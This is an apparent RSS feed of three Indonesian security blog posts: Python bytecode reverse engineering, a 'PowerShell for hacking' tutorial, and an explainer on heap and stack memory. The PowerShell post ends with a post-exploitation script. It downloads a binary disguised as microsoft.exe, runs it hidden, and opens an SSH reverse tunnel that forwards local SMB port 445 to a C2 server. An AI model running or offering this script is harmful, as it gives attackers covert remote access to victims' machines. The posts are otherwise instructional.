<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1010" height="699" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175506.png" alt="" class="wp-image-423" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175506.png 1010w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175506-300x208.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175506-768x532.png 768w" sizes="auto, (max-width: 1010px) 100vw, 1010px" /></figure>



<p>Maka akan menampilkan hasil disassemble opcode dari script python hal ini bisa sulit jika codenya rumit tapi dari sini kita bisa melihat fungsi apa saja dan bagaimana suatu program itu bekerja</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-4ed656cc0a88e67231262d10504b2aa0"><code>Disassembly of &lt;code object validation at 0x7fe1e3401330, file "source_code.py", line 3>:
  3           0 RESUME                   0

  4           2 LOAD_GLOBAL              1 (NULL + codecs)
             14 LOAD_ATTR                1 (decode)
             24 LOAD_CONST               1 ('ouvarxn-grpu1336')
             26 LOAD_CONST               2 ('rot-13')
             28 PRECALL                  2
             32 CALL                     2
             42 STORE_FAST               1 (valid_input)

  5          44 LOAD_FAST                0 (input)
             46 LOAD_FAST                1 (valid_input)
             48 COMPARE_OP               2 (==)
             54 POP_JUMP_FORWARD_IF_FALSE     2 (to 60)

  6          56 LOAD_CONST               3 (True)
             58 RETURN_VALUE

  9     >>   60 LOAD_CONST               4 (False)
             62 RETURN_VALUE</code></pre>



<p>Contohnya pada fungsi validation dimana ada beberapa mnemonic seperti <em>LOAD_GLOBAL </em>yang digunakan untuk mengambil fungsi global dalam hal ini codecs lalu ada <em>LOAD_ATTR </em>yang mengambil attribute dengan 2 parameter yaitu ouvarxn-grpu1336 dan rot-13 yang di inisialisasi menggunakan <em>LOAD_CONST</em> dan dilakukan perbandingan menggunakan COMPARE_OP dari variable input(dalam hal ini input dari user) dengan valid_input yang mengambil dari LOAD_GLOBAL codecs.</p>



<p>Disini kita bisa analysis jika codecs melakukan decode ROT-13 pada string ouvarxn-grpu1336 dan jika kita decode ROT13 string asli merupakan <em><strong>bhineka-tech1336</strong></em> lalu kita coba inputkan pada program</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="556" height="125" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-180600.png" alt="" class="wp-image-424" style="width:831px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-180600.png 556w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-180600-300x67.png 300w" sizes="auto, (max-width: 556px) 100vw, 556px" /></figure>



<p>dan berhasil yang menunjukkan output Input Correct </p>



<p><strong>Penutup</strong></p>



<p>Sebenarnya masih banyak teknik yang bisa kita lakukan untuk RE pada python contohnya kita juga bisa melakukan overwrite internal module untuk hooking dan menampilkan suatu string / data tertentu atau jika pada executable file kita bisa memanfaatkan teknik memory dump untuk melihat data pada saat program berjalan. Jadi kita tidak mungkin membahas semuanya karena itu akan sangat panjang dan tulisan ini dibuat untuk para reverser engineer agar lebih memahami bagaimana melakukan reverse engineering pada python script jadi mungkin itu saja sekiann.</p>



<p><em>&#8220;Yang penting bukan seberapa pintar kamu, tetapi seberapa keras kamu berusaha.&#8221;</em> <strong> -Albert Einstein</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/">Python reverse engineering</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Powershell for hacking, dasar command pada powershell</title>
		<link>https://blog.bhineka-tech.org/2024/10/20/powershell-for-hacking-dasar-command-pada-powershell/</link>
					<comments>https://blog.bhineka-tech.org/2024/10/20/powershell-for-hacking-dasar-command-pada-powershell/#comments</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Sun, 20 Oct 2024 06:23:34 +0000</pubDate>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=270</guid>

					<description><![CDATA[<p>Jumpa lagi rek, pasti kalian ga asing kan dengan powershell ? nah jadi pada topik ini aku akan bahas mengenai fundamental command yang digunakan pada powershell. Powershell bisa dibilang merupakan suatu scripting language dimana berguna untuk melakukan task automation, process management hingga konfigurasi system Powershell sendiri dibangun diatas framework .NET dan Jika pada operating system [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/10/20/powershell-for-hacking-dasar-command-pada-powershell/">Powershell for hacking, dasar command pada powershell</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Jumpa lagi rek, pasti kalian ga asing kan dengan powershell ? nah jadi pada topik ini aku akan bahas mengenai fundamental command yang digunakan pada powershell. Powershell bisa dibilang merupakan suatu scripting language dimana berguna untuk melakukan task automation, process management hingga konfigurasi system</p>



<p>Powershell sendiri dibangun diatas framework .NET dan Jika pada operating system unix-like kita kenal dengan bash script yang yang merupakan command shell berbasis text, tidak seperti shell script lain uniknya pada powershell sendiri menggunakan shell yang berbasis object jadi semua command pada powershell dianggap sebagai suatu object, menarik bukan ?</p>



<p>Oh iya powershell sendiri mulai diperkenalkan pada windows XP yang dimana dulu powershell hanya bisa dipake pada windows environment tetapi sekarang kita bisa juga menginstall powershell pada operating system lain karena microsoft merilis powershell sebagai opensource.</p>



<p>Karena powershell itu tersedia secara default pada operating system windows jadi mempelajari powershell sangat berguna saat kita mendapatkan initial access pada windows machine jadi sesuai topik ini yaitu <strong>Powershell for hacking</strong> jadi kita akan belajar basic command serta melihat command apa saja yang sering dipakai pada powershell pada saat melakukan hacking/post-exploitation </p>



<p>Sebelum kita memulai kita perlu mengenal yang namanya <em>cmdlet</em>, <em>cmdlet</em> merupakan namming pattern yang berisi kata kerja dan kata benda pada suatu command jadi misalkan command <em>Get-ChildItem</em> yang digunakan untuk listing directory jadi Get merupakan kata kerja sementara ChildItem merupakan kata benda. cmdlet itu ada banyak sekali tetapi kita tidak perlu menghafalnya cukup kita perlu menginggat 2 command saja yaitu <em>Get-Command</em> yang digunakan untuk menampilkan semua atau spesifik nama dari cmdlet pada powershell dan command kedua ada <em>Get-Help</em> yang berfungsi untuk melihat detail dari cmdlet tersebut seperti argument dan penggunaan pada command cmdlet</p>



<p>Ada 3 CommandType yang ada pada powershell dimana di klasifikasikan menjadi 3 yaitu <em>Alias</em>, <em>Function</em> dan terakhir yang kita bahas tadi yaitu <em>cmdlet</em> jadi mari kita bahas:</p>



<p><strong>Alias </strong>: Bisa dibilang alias ini seperti singkatan dari cmdlet dan function dari powershell dan kita bisa mudah melihatnya menggunakan command <em>get-alias</em></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1158" height="684" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-105808.png" alt="" class="wp-image-281"/></figure>



<p>beberapa command alias mirip dengan bash seperti alias <em>cat </em>untuk membaca file yang aslinya merupakan cmdlet dari <em>Get-Content</em> lalu ada alias cd dan chdir untuk berpindah directory yang juga sebenarnya merupakan command cmdlet dari <em>Set-Location</em></p>



<p><strong>Function</strong> : function ini sebenernya juga masuk ke cmdlet tetapi kita juga bisa melakukan custom function pada powershell atau yang dikenal dengan user defined function</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="878" height="640" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-111528.png" alt="" class="wp-image-282"/></figure>



<p>Disini kita coba definisikan fungsi InfoTanggal-dan-IpAddress yang hanya menampilkan informasi tanggal dan IP Address pada local computer dan pada gambar kita bisa melihat pada blok fungsi kita memanggil cmdlet <strong>Get-Date</strong> dan alias <strong>gip</strong> yang memfilter hanya untuk menampilkan IP address</p>



<p><strong>Cmdlet</strong>: Seperti yang dibahas sebelumnya, cmdlet berisi suatu perintah dasar seperti menampilkan directory, berpindah directory, membuat file, membuat folder dan banyak lagi ya, contoh cmdlet yang sering digunakan:</p>



<ul class="wp-block-list">
<li>Get-ChildItem : untuk listing directory </li>



<li>Set-Location: Untuk berpindah directory</li>



<li>Get-Content : Untuk membaca file</li>



<li>Add-Content : untuk membuat file / append string jika file sudah ada</li>



<li>Set-Content : Untuk membuat file / modifikasi string jika file sudah ada</li>



<li>Remove-Item : menghapus file / directory</li>



<li>Rename-Item : rename file / directory</li>



<li>Copy-Item : salin file / directory</li>



<li>Move-Item : pindahkan file / directory</li>
</ul>



<p>Sebenarnya masih banyak lagi ya cuman kalian bisa explore sendiri untuk lebih lengkapnya, nah disini misalkan kasusnya kita tidak mengerti bagaimana cmdlet <strong>Add-Content</strong> bekerja kita bisa mudah menggunakan command <strong>Get-Help Add-Content</strong> untuk menampilkan informasi bantuan pada cmdlet tersebut</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1301" height="588" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-113036.png" alt="" class="wp-image-288"/></figure>



<p>Nah ditampilkan informasi argument apa saja yang dibutuhkan, tenang saja kita tidak membutuhkan semua argument hanya argument yang wajib/required kita gunakan yaitu <em>-Path</em> yang merupakan nama file dan <em>-Value</em> isi pada string dan jika kurang jelas kita bisa melihat di dokumentasi microsoft pada link yang sudah disertakan pada output atau bisa juga menggunakan command Get-Help nama_<em>cmdlet</em> -Full</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="992" height="692" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-113654.png" alt="" class="wp-image-289"/></figure>



<p>Disini sangat detail karena disertakan hingga penjelasan dari parameter yang required dan opsional jadi langsung saja kita coba</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1050" height="170" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-113923.png" alt="" class="wp-image-290"/></figure>



<p>Disini kita memakai cmdlet Add-Content untuk membuat file serta kita coba baca dari file yang kita buat memakai cmdlet Get-Content, semudahh itu kan </p>



<p>Setelah kita tau cmdline, alias dan function sekarang kita akan membahas <strong>pipeline</strong>, nah apa itu ?? jadi <strong>pipeline</strong> itu suatu cara pada powershell yang digunakan untuk mengarahkan output ke command lain menggunakan satu baris command dan hal ini berguna misalkan untuk sorting string, mencari string tertentu dalam file/output, memfilter output, melakukan operasi pada string yang dipilih dan masih banyak lagi.</p>



<p>Sama seperti pada bash, pipeline pada powershell juga menggunakan special character <strong>|</strong>(pipe) tetapi karena powershell semua command di respresentasikan sebagai object jadi kita bisa melakukannya lebih mudah</p>



<p>Kita mulai dengan cmdlet Get-Service yang berguna untuk menampilkan semua service pada computer</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="902" height="697" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-115059.png" alt="" class="wp-image-293"/></figure>



<p>Dan disini kita hanya akan memfilter nama pada service jadi kita bisa dengan mudah menggunakan pipeline dan diikut dengan cmdlet <em>Select-Object</em></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="908" height="586" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-115223.png" alt="" class="wp-image-294"/></figure>



<p>Sangat mudah bukan, dimana kita melakukan Select-Object Name dimana Name merupakan parameter Name diambil dari column dari output Get-Service, Nah sekarang kita akan menampilkan hanya service yang memiliki status stop / tidak running kita dengan mudah menggunakan Where-Object</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="908" height="510" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-115622.png" alt="" class="wp-image-295"/></figure>



<p>Output hanya menampilkan service dengan status stopped dan disitu kita menggunakan Where-Object diikuti dengan <strong>{$_.Status -eq &#8220;Stopped&#8221;}</strong> yang dimana hal ini merupakan rules syntax dari powershell sendiri dan <strong>$_.Status</strong> artinya kita mengambil column status dan <strong>-eq</strong> merupakan operasi komparasi sama dengan dan diikuti dengan string &#8220;Stopped&#8221;</p>



<p>Kita juga bisa menggunakan lebih dari 2 pipeline </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1000" height="642" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-120130.png" alt="" class="wp-image-296"/></figure>



<p>Dalam kasus ini kita akan memilih service yang berstatus &#8220;<strong>Stopped</strong>&#8221; dan diikuti dengan <em>Select-Object Name</em> artinya kita hanya memanggil nama dari service pada output yang berarti menampilkan nama service dengan status Stopped </p>



<p>Contoh selanjutnya kita akan mulai bekerja dengan file yaitu menampilkan file pada current path yang lebih baru dari 30 hari sebelumnya, kita tahu jika operasi listing menggunakan Get-ChildItem</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1325" height="611" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-120813.png" alt="" class="wp-image-299"/></figure>



<p>Sebelum kita memulai kita perlu tau dulu spesifikasi dari command Get-ChildItem dimana kita bisa melakukan scanning rekursif menggunakan argument <strong>-Recurse</strong> dan kita juga bisa melihat argument yang bersifat required dan bukan.</p>



<p>Selanjutnya kita bisa memanfaatkan pipeline untuk ini </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1263" height="543" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-122414.png" alt="" class="wp-image-300"/></figure>



<p>Disini command-nya sangat sederhana pertama kita recursif scan menggunakan -Recurse dan -File merupakan argument yang hanya digunakan untuk melakukan scanning pada file bukan directory dan kita lakukan pipeline dengan where-object artinya kita akan melakukan compare dimana $_.LastWriteTime merupakan column timestamp dan -ge merupakan operasi lebih dari diikuti dengan fungsi (Get-Date).AddDays(-30) yang berarti kita mengambil tanggal sekarang dikurangi 30 hari dan lanjut melakukan select column dimana disitu kita hanya akan menampilkan fullpath dengan menggunakan argument Fullname</p>



<p>Contoh terakhir kita akan melihat kemampuan cmdlet untuk melihat dan melakukan konfigurasi system</p>



<p>Kita bisa dengan mudah menampilkan semua subkey registry HKCU menggunakan Get-ChildItem</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="665" height="355" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-123410.png" alt="" class="wp-image-303" style="width:830px;height:auto"/></figure>



<p>Kita juga bisa melihat value dari hive registry menggunakan cmdlet Get-ItemProperty diikuti path dari registry key-nya</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="1329" height="316" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-124429.png" alt="" class="wp-image-305" style="width:840px;height:auto"/></figure>



<p>Disini kita bisa melihat autorun program yang dijalankan pada saat selesai booting diantaranya ada openvpn-gui.exe, discord, opera.exe dan lainnya ya</p>



<p>Dan kita bisa menghapus salah satu value dari registry tersebut menggunakan Remove-ItemProperty, disini kita akan mencoba untuk menghapus discord agar tidak dijalankan saat computer dinyalakan</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1331" height="337" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-125051.png" alt="" class="wp-image-306"/></figure>



<p>Pada gambar ini, terlihat kita menghapus value dengan nama discord jadi sekarang discord tidak lagi menjadi autorun program</p>



<p>Powershell sendiri sebenarnya suatu utility yang sangat powerfull entah dari segi sysadmin, configuration, automation maupun pentesting karena kita bisa melakukan apapun pada machine hanya dengan input suatu command dan juga kita bisa membuat script powershell pada satu file dengan extension .ps1, jadi kita akan mencoba coding untuk menjalankan executable jadi siapkan text editor disini kita akan menggunakan vscode</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1043" height="502" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/poweshell.png" alt="" class="wp-image-307"/></figure>



<p>oke kita bedah scriptnya, jadi pada script powershell ini digunakan untuk menjalankan suatu executable yaitu putty, putty adalah suatu aplikasi yang dipake untuk keperluan remote jaringan dan kita bisa menggunakan putty untuk komunikasi pada protocol ssh, ftp, smb dan protocol yang digunakan untuk remote login lainnya </p>



<pre class="wp-block-code"><code>$processName = "microsoft"

$tempDir = &#91;System.IO.Path]::GetTempPath()
$exePath = Join-Path -Path $tempDir -ChildPath "microsoft.exe"

$downloadUrl = "http://&#91;redacted]/putty.exe"

</code></pre>



<p>Sama seperti programming pada umumnya, kita bisa mendeklarasikan variable pada powershell disini kita inisialisasi variable seperti ProcessName, tempDir, exePath dan downloadUrl</p>



<pre class="wp-block-code"><code>function IsProcessRunning {
    param (
        &#91;string]$name
    )
    $process = Get-Process | Where-Object { $_.ProcessName -eq $name }
    return $process -ne $null
}

if (-not (IsProcessRunning $processName)) {

    if (-not (Test-Path $exePath)) {
        Write-Host "$exePath Downloading"
        Invoke-WebRequest -Uri $downloadUrl -OutFile $exePath
        Write-Host "Success"
    }
    

    $args = @("-N", "-l", "guest", "-pw", "admin12345", "-R", "1337:localhost:445", "&#91;redacted_host]", "-hostkey", "SHA256:xbI5/Mcj2KrXg3ykreniRYhZUs9IQGb/secret")
    Start-Process -FilePath $exePath -ArgumentList $args -WindowStyle Hidden
    Write-Host "$processName not running, $exePath"
} else {
    Write-Host "$processName running."
}</code></pre>



<p>Pada fungsi IsProcessRunning berguna untuk melakukan filter process dengan 1 argument yang diambil dari variable processName dengan nama microsoft dan selanjutnya ada if statement </p>



<p><strong>if (-not (IsProcessRunning $processName))</strong></p>



<p>Artinya kita identifikasi apakah process microsoft itu running dan jika belum running maka dilakukan komparasi kedua apakah ada file pada $exePath yang dimana variable $exePath merupakan temporary directory dan diikuti dengan nama file yaitu microsoft.exe jika tidak ada maka akan dilakukan download pada url yang mengambil pada variable $downloadUrl dan jika ada maka lanjut pada line berikutnya</p>



<p>Disini ada inisialisasi array pada variable $args yang merupakan argument pada cmdlet dari Start-Process dan diikut dengan argument <strong>-WindowStyle Hidden</strong> yang berarti process akan dilakukan pada background, jadi script ini berfungsi untuk melakukan SSH tunneling dimana pada host local melakukan port forwarding dari 445(smb) ke server c2 dengan port 1337 sehingga login smb pada local computer bisa dilakukan remote pada c2 server dengan port 1337.</p>



<p><strong>Penutup</strong></p>



<p>mungkin itu saja penjelasan fundamental mengenai powershell scripting, yang dimana memang powershell ini sangat usefull terlebih lagi di sisi cybersecurity saat melakukan pentesting/CTF pada windows machine dan semoga artikel ini bermanfaat dan bisa dijadikan refrensi untuk kedepannya.</p>



<p><em>&#8220;Orang bijak belajar ketika mereka bisa. Orang bodoh belajar ketika mereka dipaksa.&#8221;</em> <strong>-Arthur</strong></p>



<p>Refrensi: </p>



<p><a href="https://learn.microsoft.com/en-us/powershell/scripting/learn/ps101/04-pipelines?view=powershell-7.4">https://learn.microsoft.com/en-us/powershell/scripting/learn/ps101/04-pipelines?view=powershell-7.4</a></p>



<p><a href="https://learn.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.4">https://learn.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.4</a></p>



<p><a href="https://www.techtarget.com/whatis/definition/cmdlet">https://www.techtarget.com/whatis/definition/cmdlet</a></p>



<p><a href="https://juggernaut-sec.com/autorun-startup-registry-keys">https://juggernaut-sec.com/autorun-startup-registry-keys</a></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/10/20/powershell-for-hacking-dasar-command-pada-powershell/">Powershell for hacking, dasar command pada powershell</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/10/20/powershell-for-hacking-dasar-command-pada-powershell/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Mengenal heap dan stack memory</title>
		<link>https://blog.bhineka-tech.org/2024/09/11/mengenal-heap-dan-stack-memory/</link>
					<comments>https://blog.bhineka-tech.org/2024/09/11/mengenal-heap-dan-stack-memory/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Wed, 11 Sep 2024 07:56:16 +0000</pubDate>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Tak Berkategori]]></category>
		<category><![CDATA[technology]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=53</guid>

					<description><![CDATA[<p>Haloo guyss jadi pada tulisan awal ini aku akan ngebahas suatu hal yang mungkin jarang banget dibahas yaitu heap dan stack tetapi perlu diingat lagi yang kita bahas ini bukan heap/stack pada struktur data ya. Pembahasan ini mungkin menurut sebagian orang itu ga terlalu penting, tetapi pada saat kita ingin mempelajari lebih dalam struktur dari [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/09/11/mengenal-heap-dan-stack-memory/">Mengenal heap dan stack memory</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Haloo guyss jadi pada tulisan awal ini aku akan ngebahas suatu hal yang mungkin jarang banget dibahas yaitu heap dan stack tetapi perlu diingat lagi yang kita bahas ini bukan heap/stack pada struktur data ya. Pembahasan ini mungkin menurut sebagian orang itu ga terlalu penting, tetapi pada saat kita ingin mempelajari lebih dalam struktur dari operating system dan pemrograman yang lebih low level stack dan heap ga bisa kita abaikan karena peranan dari mereka ini sangat berguna banget selain untuk memori management mempelajari stack dan heap kita bakal ngerti bagaimana suatu variable, function, string dan keseluruhan data pada program kita di tempatkan pada memory</p>
<p>Sebelum terlalu jauh kita membahas dulu mengenai konsep memory layouting atau tata letak memory. Jadi apa sih yang dimaksud dengan memory ?? secara gampangnya memory itu merupakan suatu refrensi yang menyimpan informasi data dan intruksi yang digunakan secara langsung pada komputer yang kita pake,  Pada saat kita membuat suatu program / software data dan intruksi akan di store pada memory dan memory sendiri terbagi menjadi beberapa segment dan dalam kasus sistem yang menggunakan 64 byte per alamat pada memory ber ukuran 8 byte sedangkan pada 32 byte ukuran alamatnya adalah 4 byte</p>
<p>Saat kita menjalankan suatu program ada 2 area dan processing yang dilakukan dan kita menyebutnya dengan operasi user space dan kernel space</p>
<p><strong>Kernel Space</strong></p>
<p>Operasi input output dan lokasi tempat code dan data kernel disimpan serta dieksekusi biasanya dijalankan melalui system call pada operating unix-like dimana jika ada suatu process yang melakukan system call interupsi akan dikirimkan ke kernel yang kemudian kernel akan melakukan eksekusi dari code yang diberikan, nah dalam hal ini code akan dieksekusi bawah ring 0</p>
<p><strong>User Space</strong></p>
<p>Sekumpulan lokasi dan tempat process user normal berjalan dan process yang berada pada user space ini tidak memiliki akses ke kernel space dan hanya bisa melakukan sebagian kecil operasi kernel dengan bantuan syscall(system call) seperti yang dijelaskan diatas dan umumnya sendiri kita saat memakai operating system linux semua process dan operasi yang kita lakukan ada di area ini</p>
<p>Nah baru disini kita akan ngebahas mengenai memori layouting</p>
<p><img loading="lazy" decoding="async" class="" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/09/memory-layout.png" width="680" height="463" /></p>
<p>Gambar diatas ini merupakan ilustrasi dari tata letak suatu memory yang digunakan pada software/program, jadi gaperlu bingung dulu karena bagian stack, heap, bss, data ,text itu semua ada penjelasannya dan area pada memory itu disebut sebagai virtual space. Kebetulan ruang pertama ada stack dimana stack sendiri itu merupakan area untuk menyimpan semua data seperti variable, argument, parameter maupun return address pada program yang nantinya akan digunakan untuk function call, dan 2 operasi utama pada stack itu dikenal dengan PUSH dan POP dimana PUSH itu dipake untuk memasukkan nilai ke dalam stack sementara POP digunakan untuk mengambil nilai pada stack yang tentunya dengan menggunakan methode LIFO(Last in first out) artinya data yang dimasukkan terakhir akan diambil/dihapus lebih dulu ya secara gampangnya seperti tumpukan piring.</p>
<p>Kedua ada heap nah heap sendiri itu sebenernya sama aja untuk menyimpan suatu data seperti stack tetapi heap ini saat melakukan alokasi pada memory itu bersifat dinamis yang berarti programmer bisa melakukan management memory seperti menentukan kapan memory digunakan dan dibebaskan, dan kalo dalam bahasa C heap ini dikelola oleh fungsi malloc(), realloc() dan free(), dan di area heap ini dimulai di akhir segment bss hingga menuju ke area alamat memory yang lebih tinggi</p>
<p>Lalu ada BSS(block started with symbol) nah bss ini merupakan suatu segment/area pada memory yang menyimpan data yang unitialized/data yang tidak di inisialisasi seperti saat kita mendeklarasikan suatu variable <em>static int heker; atau char namasaya[]; </em>akan dialokasikan pada bss ini</p>
<p>berikutnya ada DATA dan segment ini digunakan untuk menyimpan semua data yang di inisialisasi seperti variable yang sudah kita assign atau berikan suatu nilai contoh: int a = 12; atau char nama[] = &#8220;hengker pro&#8221;; nah jadi variable atau data yang initialized akan disimpan pada segment DATA ini</p>
<p>Terakhir ada TEXT dimana segment ini digunakan untuk menyimpan data yang bersifat read-only seperti intruksi machine code, binary code yang udah di compile maupun informasi debug biasanya ada di segment TEXT karena read-only jadi user tidak bisa melakukan modifikasi pada segment ini</p>
<p>Oke jadi mungkin itu saja penjelasan dasar dari struktur pada memory serta menambah pemahaman kita mengenai stack dan heap serta fungsinya dan mungkin next artikel nanti aku akan membahas secara practical-nya dan kita melihat secara langsung implementasi stack dan heap pada memory pada program yang kita buat, see you semoga bermanfaat <img src="https://s.w.org/images/core/emoji/15.0.3/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>&nbsp;</p>
<p>Reference:</p>
<p><a href="https://web.stanford.edu/class/archive/cs/cs107/cs107.1222/lectures/07/Lecture07.pdf">https://web.stanford.edu/class/archive/cs/cs107/cs107.1222/lectures/07/Lecture07.pdf</a></p>
<p><a href="https://stackoverflow.com/questions/79923/what-and-where-are-the-stack-and-heap">https://stackoverflow.com/questions/79923/what-and-where-are-the-stack-and-heap</a></p>
<p><a href="https://unix.stackexchange.com/questions/87625/what-is-difference-between-user-space-and-kernel-space">https://unix.stackexchange.com/questions/87625/what-is-difference-between-user-space-and-kernel-space</a></p>
<p><a href="https://www.w3schools.com/c/c_strings.php">https://www.w3schools.com/c/c_strings.php</a></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/09/11/mengenal-heap-dan-stack-memory/">Mengenal heap dan stack memory</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/09/11/mengenal-heap-dan-stack-memory/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
